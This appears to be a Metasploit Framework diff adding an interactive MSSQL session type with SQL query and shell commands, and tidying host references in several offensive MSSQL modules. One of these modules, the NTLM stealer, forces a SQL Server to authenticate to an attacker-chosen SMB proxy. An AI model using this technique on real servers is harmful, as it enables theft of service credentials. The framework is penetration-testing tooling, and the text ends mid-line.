diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb index 658420801fe0b..23d5ad559fd73 100644 --- a/lib/metasploit/framework/login_scanner/mssql.rb +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -47,6 +47,8 @@ class MSSQL # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. attr_accessor :windows_authentication + attr_accessor :use_client_as_proof + attr_accessor :max_send_size attr_accessor :send_delay @@ -71,6 +73,11 @@ def attempt_login(credential) client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port) if client.mssql_login(credential.public, credential.private, '', credential.realm) result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + if use_client_as_proof + result_options[:proof] = client + else + client.disconnect # replacing the ensure so the client doesn't disconnect on login - is this right? + end else result_options[:status] = Metasploit::Model::Login::Status::INCORRECT end @@ -81,8 +88,6 @@ def attempt_login(credential) elog(e) result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT result_options[:proof] = e - ensure - client.disconnect end ::Metasploit::Framework::LoginScanner::Result.new(result_options) diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb index b81f2b2f24657..aa12ed95faa09 100644 --- a/lib/metasploit/framework/tcp/client.rb +++ b/lib/metasploit/framework/tcp/client.rb @@ -73,7 +73,6 @@ module Client # @see Rex::Socket::Tcp # @see Rex::Socket::Tcp.create def connect(global = true, opts={}) - dossl = false if(opts.has_key?('SSL')) dossl = opts['SSL'] @@ -93,7 +92,7 @@ def connect(global = true, opts={}) 'SSLCipher' => opts['SSLCipher'] || ssl_cipher, 'Proxies' => proxies, 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } ) # enable evasions on this socket set_tcp_evasions(nsock) diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index 7f2bca1d7d38e..2f8bfbad60c93 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -227,6 +227,9 @@ def self.smb_session_history def self.postgresql_session_history self.new.postgresql_session_history end + def self.mssql_session_history + self.new.mssql_session_history + end # Returns the full path to the MySQL session history file. # @@ -352,6 +355,10 @@ def mysql_session_history config_directory + FileSep + "mysql_session_history" end + def mssql_session_history + config_directory + FileSep + "mssql_session_history" + end + def pry_history config_directory + FileSep + "pry_history" end diff --git a/lib/msf/base/sessions/mssql.rb b/lib/msf/base/sessions/mssql.rb new file mode 100644 index 0000000000000..41b756499b6ee --- /dev/null +++ b/lib/msf/base/sessions/mssql.rb @@ -0,0 +1,152 @@ +# -*- coding:binary -*- + +require 'rex/post/mssql' + +class Msf::Sessions::MSSQL + + include Msf::Session::Basic + include Msf::Sessions::Scriptable + + # @return [Rex::Post::MSSQL::Ui::Console] The interactive console + attr_accessor :console + # @return [MSSQL::Client] The MSSQL client + attr_accessor :client + attr_accessor :platform, :arch + attr_accessor :address, :port + attr_reader :framework + + def initialize(rstream, opts = {}) + @client = opts.fetch(:client) + self.console = Rex::Post::MSSQL::Ui::Console.new(self, opts) + + super(rstream, opts) + end + + def bootstrap(datastore = {}, handler = nil) + session = self + session.init_ui(user_input, user_output) + + @info = "MSSQL #{datastore['USERNAME']} @ #{@peer_info}" + end + + def execute_file(full_path, args) + if File.extname(full_path) == '.rb' + Rex::Script::Shell.new(self, full_path).run(args) + else + console.load_resource(full_path) + end + end + + def process_autoruns(datastore) + ['InitialAutoRunScript', 'AutoRunScript'].each do |key| + next if datastore[key].nil? || datastore[key].empty? + + args = Shellwords.shellwords(datastore[key]) + print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") + session.execute_script(args.shift, *args) + end + end + + def rhost + self.address + end + + def rport + self.port + end + + def type + self.class.type + end + + # Returns the type of session. + # + def self.type + 'MSSQL' + end + + def self.can_cleanup_files + false + end + + # + # Returns the session description. + # + def desc + 'MSSQL' + end + + def address + return @address if @address + + @address, @port = client.sock.peerinfo.split(':') + @address + end + + def port + return @port if @port + + @address, @port = client.sock.peerinfo.split(':') + @port + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Initializes the console's I/O handles. + # + def init_ui(input, output) + self.user_input = input + self.user_output = output + console.init_ui(input, output) + console.set_log_source(log_source) + + super + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Resets the console's I/O handles. + # + def reset_ui + console.unset_log_source + console.reset_ui + end + + def exit + console.stop + end + + ## + # :category: Msf::Session::Interactive implementors + # + # Override the basic session interaction to use shell_read and + # shell_write instead of operating on rstream directly. + def _interact + framework.events.on_session_interact(self) + framework.history_manager.with_context(name: type.to_sym) do + _interact_stream + end + end + + ## + # :category: Msf::Session::Interactive implementors + # + def _interact_stream + framework.events.on_session_interact(self) + + console.framework = framework + # Call the console interaction of the MSSQL client and + # pass it a block that returns whether or not we should still be + # interacting. This will allow the shell to abort if interaction is + # canceled. + console.interact { interacting != true } + console.framework = nil + + # If the stop flag has been set, then that means the user exited. Raise + # the EOFError so we can drop this handle like a bad habit. + raise EOFError if (console.stopped? == true) + end + +end diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 092d12e9c568f..790523651ac00 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -72,6 +72,9 @@ def mssql_ping(timeout=5) return mssql_ping_parse(resp) end + # + # Parse a 'ping' response and format as a hash + # def mssql_ping_parse(data) res = [] var = nil @@ -216,13 +219,5 @@ def mssql_tds_encrypt(pass) # Convert to unicode, swap 4 bits both ways, xor with 0xa5 Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") end - - # - # Encrypt a password according to the TDS protocol (encode) - # - def mssql_tds_encrypt(pass) - # Convert to unicode, swap 4 bits both ways, xor with 0xa5 - Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*") - end end end diff --git a/lib/msf/core/feature_manager.rb b/lib/msf/core/feature_manager.rb index 2ed4aa021d0bf..40baa7f62b506 100644 --- a/lib/msf/core/feature_manager.rb +++ b/lib/msf/core/feature_manager.rb @@ -25,6 +25,7 @@ class FeatureManager SMB_SESSION_TYPE = 'smb_session_type' POSTGRESQL_SESSION_TYPE = 'postgresql_session_type' MYSQL_SESSION_TYPE = 'mysql_session_type' + MSSQL_SESSION_TYPE = 'mssql_session_type' DEFAULTS = [ { name: WRAPPED_TABLES, @@ -83,6 +84,12 @@ class FeatureManager requires_restart: true, default_value: false }.freeze, + { + name: MSSQL_SESSION_TYPE, + description: 'When enabled will allow for the creation/use of mssql sessions', + requires_restart: true, + default_value: false + }.freeze, { name: DNS_FEATURE, description: 'When enabled, allows configuration of DNS resolution behaviour in Metasploit', diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index 0152a6faeaaf8..d00e37d132307 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -37,6 +37,16 @@ def initialize(info = {}) Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']), Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']), + ] + ) + end + + if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE) + register_options( + [ + Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), + Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'MSSQL']), + Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'MSSQL']), Msf::Opt::RHOST(nil, false), Msf::Opt::RPORT(nil, false) ] @@ -46,7 +56,7 @@ def initialize(info = {}) end def session - return nil unless (framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)) + return nil unless (framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE) || framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)) super end diff --git a/lib/rex/post.rb b/lib/rex/post.rb index 259b732919dc4..ee6659beb1c54 100644 --- a/lib/rex/post.rb +++ b/lib/rex/post.rb @@ -5,6 +5,7 @@ require 'rex/post/smb' require 'rex/post/postgresql' require 'rex/post/mysql' +require 'rex/post/mssql' module Rex::Post diff --git a/lib/rex/post/mssql.rb b/lib/rex/post/mssql.rb new file mode 100644 index 0000000000000..7ae9afd210eb6 --- /dev/null +++ b/lib/rex/post/mssql.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/mssql/ui' diff --git a/lib/rex/post/mssql/ui.rb b/lib/rex/post/mssql/ui.rb new file mode 100644 index 0000000000000..f33c460e85e93 --- /dev/null +++ b/lib/rex/post/mssql/ui.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/post/mssql/ui/console' diff --git a/lib/rex/post/mssql/ui/console.rb b/lib/rex/post/mssql/ui/console.rb new file mode 100644 index 0000000000000..a7d62b968451f --- /dev/null +++ b/lib/rex/post/mssql/ui/console.rb @@ -0,0 +1,147 @@ +# -*- coding: binary -*- + +module Rex + module Post + module MSSQL + module Ui + ### + # + # This class provides a shell driven interface to the MSSQL client API. + # + ### + class Console + include Rex::Ui::Text::DispatcherShell + + # Dispatchers + require 'rex/post/mssql/ui/console/command_dispatcher' + require 'rex/post/mssql/ui/console/command_dispatcher/core' + require 'rex/post/mssql/ui/console/command_dispatcher/client' + require 'rex/post/mssql/ui/console/command_dispatcher/modules' + + # + # Initialize the MSSQL console. + # + # @param [Msf::Sessions::MSSQL] session + def initialize(session, opts={}) + # The mssql client context + self.session = session + self.client = session.client + self.cwd = opts[:cwd] + prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{cwd})%clr" + history_manager = Msf::Config.mssql_session_history + super(prompt, '>', history_manager, nil, :mssql) + + # Queued commands array + self.commands = [] + + # Point the input/output handles elsewhere + reset_ui + + enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core) + enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Client) + enstack_dispatcher(::Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Modules) + + # Set up logging to whatever logsink 'core' is using + if ! $dispatcher['mssql'] + $dispatcher['mssql'] = $dispatcher['core'] + end + end + + # + # Called when someone wants to interact with the mssql client. It's + # assumed that init_ui has been called prior. + # + # @param [Proc] block + # @return [Integer] + def interact(&block) + # Run queued commands + commands.delete_if do |ent| + run_single(ent) + true + end + + # Run the interactive loop + run do |line| + # Run the command + run_single(line) + + # If a block was supplied, call it, otherwise return false + if block + block.call + else + false + end + end + end + + # + # Queues a command to be run when the interactive loop is entered. + # + # @param [Object] cmd + # @return [Object] + def queue_cmd(cmd) + self.commands << cmd + end + + # + # Runs the specified command wrapper in something to catch meterpreter + # exceptions. + # + # @param [Object] dispatcher + # @param [Object] method + # @param [Object] arguments + # @return [FalseClass] + def run_command(dispatcher, method, arguments) + begin + super + rescue ::Timeout::Error + log_error('Operation timed out.') + rescue ::Rex::InvalidDestination => e + log_error(e.message) + rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError + self.session.kill + rescue ::StandardError => e + log_error("Error running command #{method}: #{e.class} #{e}") + elog(e) + end + end + + # + # Logs that an error occurred and persists the callstack. + # + # @param [Object] msg + # @return [Object] + def log_error(msg) + print_error(msg) + + elog(msg, 'MSSQL') + + dlog("Call stack:\n#{$@.join("\n")}", 'mssql') + end + + # @return [Msf::Sessions::MSSQL] + attr_reader :session + + # @return [MSSQL::Client] + attr_reader :client + + # @return [String] + attr_accessor :cwd + + # @param [Object] val + # @return [String] + def format_prompt(val) + self.cwd ||= '' + prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{@cwd})%clr > " + substitute_colors(prompt, true) + end + + protected + + attr_writer :session, :client # :nodoc: + attr_accessor :commands # :nodoc: + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher.rb b/lib/rex/post/mssql/ui/console/command_dispatcher.rb new file mode 100644 index 0000000000000..8b317d02b17d7 --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +require 'rex/ui/text/dispatcher_shell' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # Base class for all command dispatchers within the MSSQL console user interface. + # + ### + module Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Session + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::MSSQL::Ui::Console] console + def initialize(console) + super + @msf_loaded = nil + @filtered_commands = [] + end + + # + # Returns the MSSQL client context. + # + # @return [MSSQL::Client] + def client + console = shell + console.client + end + + # + # Returns the MSSQL session context. + # + # @return [Msf::Sessions::MSSQL] + def session + console = shell + console.session + end + + # + # Returns the commands that meet the requirements + # + # @param [Object] all + # @param [Object] reqs + # @return [Object] + def filter_commands(all, reqs) + all.delete_if do |cmd, _desc| + if reqs[cmd]&.any? { |req| !client.commands.include?(req) } + @filtered_commands << cmd + true + end + end + end + + # @param [Object] cmd + # @param [Object] line + # @return [Symbol, nil] + def unknown_command(cmd, line) + if @filtered_commands.include?(cmd) + print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") + return :handled + end + + super + end + + # + # Return the subdir of the `documentation/` directory that should be used + # to find usage documentation + # + # @return [String] + def docs_dir + ::File.join(super, 'mssql_session') + end + + # + # Returns true if the client has a framework object. + # + # Used for firing framework session events + # + # @return [TrueClass, FalseClass] + def msf_loaded? + return @msf_loaded unless @msf_loaded.nil? + + # if we get here we must not have initialized yet + + @msf_loaded = !session.framework.nil? + @msf_loaded + end + + # + # Log that an error occurred. + # + # @param [Object] msg + # @return [Object] + def log_error(msg) + print_error(msg) + + elog(msg, 'mssql') + + dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'mssql') + end + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb new file mode 100644 index 0000000000000..b20b45234de1e --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +require 'pathname' +require 'reline' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # Core MSSQL client commands + # + ### + class Console::CommandDispatcher::Client + + include Rex::Post::MSSQL::Ui::Console::CommandDispatcher + + # + # Initializes an instance of the core command set using the supplied console + # for interactivity. + # + # @param [Rex::Post::MSSQL::Ui::Console] console + def initialize(console) + super + + @db_search_results = [] + end + + # + # List of supported commands. + # + # @return [Hash{String->String}] + def commands + cmds = { + 'query' => 'Run a raw SQL query', + 'shell' => 'Enter a raw shell where SQL queries can be executed', + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # @return [String] + def name + 'MSSQL Client' + end + + # @param [Object] args + # @return [FalseClass, TrueClass] + def help_args?(args) + return false unless args.instance_of?(::Array) + + args.include?('-h') || args.include?('--help') + end + + # @return [Object] + def cmd_shell_help + print_line 'Usage: shell' + print_line + print_line 'Go into a raw SQL shell where SQL queries can be executed.' + print_line 'To exit, type `exit`, `quit`, `end` or `stop`.' + print_line + end + + # @param [Array] args + # @return [Object] + def cmd_shell(*args) + cmd_shell_help && return if help_args?(args) + + prompt_proc_before = ::Reline.prompt_proc + + ::Reline.prompt_proc = proc { |line_buffer| line_buffer.each_with_index.map { |_line, i| i > 0 ? 'SQL *> ' : 'SQL >> ' } } + + stop_words = %w[stop s exit e end quit q].freeze + + finished = false + loop do + begin + raw_query = ::Reline.readmultiline('SQL >> ', use_history = true) do |multiline_input| + finished = stop_words.include?(multiline_input.split.last) + finished || !multiline_input.split.last.end_with?(';') + end + rescue ::Interrupt + finished = true + ensure + ::Reline.prompt_proc = prompt_proc_before + end + + if finished + print_status 'Exiting Shell mode.' + return + end + + formatted_query = raw_query.split.map { |word| word.chomp('\\') }.reject(&:empty?).compact.join(' ') + + print_status "Running SQL Command: '#{formatted_query}'" + cmd_query(formatted_query) + end + end + + # @return [Object] + def cmd_query_help + print_line 'Usage: query' + print_line + print_line 'Run a raw SQL query on the target.' + print_line 'Examples:' + print_line + print_line ' query select @@version;' + print_line ' query select user_name();' + print_line ' query select name from master.dbo.sysdatabases;' + print_line + end + + # @param [Array] result The result of an SQL query to format. + def format_result(result) + columns = ['#'] + + unless result.is_a?(Array) + result.fields.each { |field| columns.append(field.name) } + + ::Rex::Text::Table.new( + 'Header' => 'Query Result', + 'Indent' => 4, + 'Columns' => columns, + 'Rows' => result.map.each.with_index { |row, i| [i, row].flatten } + ) + end + end + + # @param [Array] args SQL query + # @return [Object] + def cmd_query(*args) + if help_args?(args) + cmd_query_help + return + end + + query = args.join(' ').to_s + print_status("Sending statement: '#{query}'...") + client.mssql_query(query, true) || [] + end + + alias cmd_sql cmd_query + alias cmd_sql_help cmd_query_help + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb new file mode 100644 index 0000000000000..bd6bc102e1a1b --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +require 'rex/post/mssql' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # Core MSSQL client commands + # + ### + class Console::CommandDispatcher::Core + + include Rex::Post::MSSQL::Ui::Console::CommandDispatcher + + # + # Initializes an instance of the core command set using the supplied session and client + # for interactivity. + # + # @param [Rex::Post::MSSQL::Ui::Console] console + + # + # List of supported commands. + # + def commands + cmds = { + '?' => 'Help menu', + 'background' => 'Backgrounds the current session', + 'bg' => 'Alias for background', + 'exit' => 'Terminate the MSSQL session', + 'help' => 'Help menu', + 'irb' => 'Open an interactive Ruby shell on the current session', + 'pry' => 'Open the Pry debugger on the current session', + 'sessions' => 'Quickly switch to another session' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Core + # + def name + 'Core' + end + + def unknown_command(cmd, line) + status = super + + status + end + + end + end + end + end +end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb new file mode 100644 index 0000000000000..259d0b47afbfa --- /dev/null +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb @@ -0,0 +1,95 @@ +# -*- coding: binary -*- + +require 'pathname' + +module Rex + module Post + module MSSQL + module Ui + ### + # + # MSSQL client commands for running modules + # + ### + class Console::CommandDispatcher::Modules + + include Rex::Post::MSSQL::Ui::Console::CommandDispatcher + + + # + # List of supported commands. + # + def commands + cmds = { + 'run' => 'Run a module' + } + + reqs = {} + + filter_commands(cmds, reqs) + end + + # + # Modules + # + def name + 'Modules' + end + + def cmd_run_help + print_line 'Usage: Modules' + print_line + print_line 'Run a module.' + print_line + end + + # + # Executes a module/script in the context of the mssql session. + # + def cmd_run(*args) + if args.empty? || args.first == '-h' || args.first == '--help' + cmd_run_help + return true + end + + # Get the script name + begin + script_name = args.shift + # First try it as a module if we have access to the Metasploit + # Framework instance. If we don't, or if no such module exists, + # fall back to using the scripting interface. + if msf_loaded? && (mod = session.framework.modules.create(script_name)) + original_mod = mod + reloaded_mod = session.framework.modules.reload_module(original_mod) + + unless reloaded_mod + error = session.framework.modules.module_load_error_by_path[original_mod.file_path] + print_error("Failed to reload module: #{error}") + + return + end + + opts = '' + + opts << (args + [ "SESSION=#{session.sid}" ]).join(',') + result = reloaded_mod.run_simple( + 'LocalInput' => shell.input, + 'LocalOutput' => shell.output, + 'OptionStr' => opts + ) + + print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) + else + # the rest of the arguments get passed in through the binding + session.execute_script(script_name, args) + end + rescue StandardError => e + print_error("Error in script: #{script_name}") + elog("Error in script: #{script_name}", error: e) + end + end + end + end + end + end +end diff --git a/lib/rex/proto/mssql/client.rb b/lib/rex/proto/mssql/client.rb index 52a03513ca353..0ae82910f955f 100644 --- a/lib/rex/proto/mssql/client.rb +++ b/lib/rex/proto/mssql/client.rb @@ -27,6 +27,7 @@ class Client attr_accessor :ssl_cipher attr_accessor :proxies attr_accessor :connection_timeout + attr_accessor :realm attr_accessor :send_lm attr_accessor :send_ntlm attr_accessor :send_spn @@ -46,33 +47,22 @@ class Client def initialize(framework_module, framework, rhost, rport = 1433) @framework_module = framework_module @framework = framework -<<<<<<< HEAD @connection_timeout = framework_module.datastore['ConnectTimeout'] || 30 @max_send_size = framework_module.datastore['TCP::max_send_size'] || 0 @send_delay = framework_module.datastore['TCP::send_delay'] || 0 @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO @hostname = framework_module.datastore['Mssql::Rhostname'] || '' -======= - @connection_timeout = framework_module.datastore['ConnectTimeout'] || 30 - @max_send_size = framework_module.datastore['TCP::max_send_size'] || 0 - @send_delay = framework_module.datastore['TCP::send_delay'] || 0 - - @auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO ->>>>>>> c1d192fd7d (Cleanup, put mssql_login_datastore back) @windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false @tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false @hex2binary = framework_module.datastore['HEX2BINARY'] || '' -<<<<<<< HEAD @domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || '' -======= ->>>>>>> c1d192fd7d (Cleanup, put mssql_login_datastore back) @rhost = rhost @rport = rport end - + # # This method connects to the server over TCP and attempts # to authenticate with the supplied username and password diff --git a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb index f0b772157fcd3..6c459a6fb85e1 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb @@ -28,13 +28,13 @@ def initialize(info = {}) register_options( [ - OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]) + OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]), ]) end def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else @@ -106,8 +106,8 @@ def run # Create output file this_service = report_service( - :host => datastore['RHOST'], - :port => datastore['RPORT'], + :host => rhost, + :port => rport, :name => 'mssql', :proto => 'tcp' ) @@ -175,6 +175,7 @@ def get_win_domain_users(windows_domain_sid) # Get windows domain def get_windows_domain + # Setup query to check the domain sql = "SELECT DEFAULT_DOMAIN() as mydomain" diff --git a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb index 2f8edad42dc1f..50f9046a1c2f4 100644 --- a/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb +++ b/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb @@ -32,7 +32,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') else diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb index c7810eb09b9d9..a291569560093 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb @@ -23,7 +23,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb index 190f5055fd4c4..993ce785d5dd7 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb @@ -23,7 +23,7 @@ def initialize(info = {}) def run # Check connection and issue initial query - print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...") + print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...") if mssql_login_datastore print_good('Connected.') diff --git a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb index e889b1eb00450..c81b40a4ccce7 100644 --- a/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb +++ b/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb @@ -338,16 +338,15 @@ def sql_statement() # STATUSING print_line(" ") - print_status("Attempting to connect to the SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...") + print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...") # CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING begin result = mssql_query(sql, false) if mssql_login_datastore - column_data = result[:rows] - print_good("Successfully connected to #{datastore['RHOST']}:#{datastore['RPORT']}") + print_good("Successfully connected to #{rhost}:#{rport}") rescue - print_error("Failed to connect to #{datastore['RHOST']}:#{datastore['RPORT']}.") + print_error("Failed to connect to #{rhost}:#{rport}") return end diff --git a/modules/auxiliary/admin/mssql/mssql_idf.rb b/modules/auxiliary/admin/mssql/mssql_idf.rb index 5c7fbca15afb2..43035ee7da926 100644 --- a/modules/auxiliary/admin/mssql/mssql_idf.rb +++ b/modules/auxiliary/admin/mssql/mssql_idf.rb @@ -154,7 +154,7 @@ def run full_table.slice!(-1, 1) count_sql += full_table - result = mssql_query(count_sql, false) if mssql_login(datastore['USERNAME'], datastore['PASSWORD']) + result = mssql_query(count_sql, false) if mssql_login_datastore count_data = result[:rows] row_count = count_data[0][0] diff --git a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb index fc00f5d06eb15..a0c86c6c587a0 100644 --- a/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb +++ b/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb @@ -33,7 +33,7 @@ def initialize(info = {}) register_options( [ - OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']) + OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']), ]) end @@ -63,7 +63,7 @@ def run_host(ip) # Method to force sql server to authenticate def force_auth(sprocedure,smbproxy) - print_status("Forcing SQL Server at #{datastore['RHOST']} to auth to #{smbproxy} via #{sprocedure}...") + print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...") # Generate random file name rand_filename = Rex::Text.rand_text_alpha(8, bad='') @@ -72,7 +72,7 @@ def force_auth(sprocedure,smbproxy) sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'" result = mssql_query(sql, false) if mssql_login_datastore column_data = result[:rows] - print_good("Successfully executed #{sprocedure} on #{datastore['RHOST']}") + print_good("Successfully executed #{sprocedure} on #{rhost}") print_good("Go check your SMB relay or capture module for goodies!") end diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 771acbf958f4d..78af3d93d6f1f 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -45,7 +45,7 @@ def make_login(opts={}) uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] ) + sname = Rex::Text.to_unicode( opts[:sname] || rhost ) dname = Rex::Text.to_unicode( opts[:dname] || db ) idx = pkt.size + 50 # lengths below diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 072bd5f5db449..5de7a2109a292 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -50,7 +50,7 @@ def do_login(opts={}) uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] ) + sname = Rex::Text.to_unicode( opts[:sname] || rhost ) dname = Rex::Text.to_unicode( opts[:dname] || db ) idx = 